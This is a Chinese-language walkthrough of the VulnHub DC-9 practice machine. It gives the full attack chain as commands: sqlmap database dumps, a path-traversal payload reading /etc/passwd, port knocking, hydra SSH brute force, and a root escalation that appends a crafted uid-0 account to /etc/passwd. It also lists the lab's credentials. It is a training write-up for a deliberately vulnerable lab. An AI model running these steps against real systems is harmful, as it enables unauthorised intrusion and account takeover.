靶机信息

下载链接
https://www.vulnhub.com/entry/dc-9,412/
目标
获得root权限和flag。
运行环境
靶机:NAT模式,靶机自动获取IP 攻击机:windows11、kali linux

信息收集

目标发现
arp-scan -l
端口和服务识别
图片
使用nmap扫描1-65535全端口,并做服务指纹识别,扫描结果保存到txt文件
命令:nmap -p1-65535 -A 192.168.0.148 -oN dc9.txt
图片
发现开放80和22端口,但端口22被检测到但被过滤了,这表明确实有 SSH 服务,但有些东西从内部阻止了它。

漏洞挖掘

访问80端口页面
图片
访问页面的几个选项,发现了搜索框和登录框
图片
图片

sqlmap爆数据

可能存在sql注入,为了测试此搜索框中的 SQL 注入,在搜索表单中随意输入并通过单击搜索按钮发送请求。用 BurpSuite 拦截请求包。
图片
复制拦截的POST请求并粘贴到一个文本文件,并将其命名为 sql.txt。让sqlmap工具去跑用户名和密码
python sqlmap.py -r D:\桌面文件\sqlmap\sql.txt --dbs --batch
图片
成功爆出数据库:information_schema、Staff和users,首先爆破users表的数据
python sqlmap.py -r D:\桌面文件\sqlmap\sql.txt -D users --dump-all --batch
图片
爆破Staff表的数据
python sqlmap.py -r D:\桌面文件\sqlmap\sql.txt -D Staff --dump-all --batch
图片
图片
这里发现了admin用户,密码MD5解码一下,密码为transorbital1
图片

目录遍历 文件包含

去登录框那里登录
图片
但文件不存在,这意味着这里可能存在文件包含漏洞,file传参
?file=../../../../../../../etc/passwd
图片
发现/etc/knockd.conf
图片

端口敲门服务

下载knockd的服务
apt install knockd
开启敲门服务
systemctl start knockd
这时使用打开SSH端口的暗号敲门
knock 192.168.0.148 7469 8475 9842
图片
再次扫描端口,发现开放了22端口
图片

nc也可以进行敲门
nc 192.168.237.153 7469
nc 192.168.237.153 8475
nc 192.168.237.153 9842
nmap -A -T4 -p- 192.168.0.148

hydra暴力破解ssh登录的用户名和密码

利用之前sqlmap爆出的用户数据库,为SSH Service的暴力破解制作了2个字典(user.txt和pass.txt)。
创建 user.txt 和 pass.txt 字典后,我们使用 hydra 工具对目标机器上的 SSH 服务进行暴力破解。经过一些尝试,我们看到用户 janitor 是具有 SSH 访问权限的用户。
hydra -L user.txt -P pass.txt 192.168.0.148 ssh
图片
ssh登录 janitor用户,登陆成功后,查看目录文件以及对应权限,发现有一个隐藏的目录,标记为secrets-for-putin
ls -al查看隐藏我文件
图片
使用 cd 命令在新发现的隐藏目录中遍历。再次列出此目录中的所有内容,找到名为 passwords-found-on-post-it-notes.txt的文本文件。我们使用 cat 命令读取该txt得到了一系列密码。
图片
编辑上面的 pass.txt 文件,并将新找到的密码附加到它。再次运行了 hydra bruteforce。这次看到我们有一些额外的有效登录账户以及密码
fredf:B4-Tru3-001
图片

权限提升

以 fredf 用户登录后,检查这个 fredf 用户有什么样的 sudo 权限,发现一个root用户下的无密码的文件test。进入目录尝试执行
图片
图片
发现执行该文件需要使用python test.py才能执行。这时使用find寻找该文件,进入该文件目录并查看
find /opt -name test.py
图片

sys.argv[1]是输入的第一个参数:r是read读,output是输出,将读的内容输出
sys.argv[2]是输入的第二个参数:a是append增加,w是写,output是sys.argv[1]里的输入的内容。

这段代码的意思是读取1中的内容并写入2中
我们使用openssl工具生成一个用户和密码
图片

passwd的格式:用户名:密码(hash值):uid:gid:注释性描述:宿主目录:命令解释器
用户名:666 密码:666 -salt:使用撒盐加密
echo '666:$1$666$.8prVrBwKU7tneSglWDUT/:0:0::/root:/bin/bash' > 666
给用户666赋予root权限,写入文件666中。
sudo /opt/devstuff/dist/test/test /tmp/666 /etc/passwd
调用命令将666文件写入/etc/passwd中

进入/tmp目录,因为在这个目录下有写的权限,执行上述命令
图片
提权成功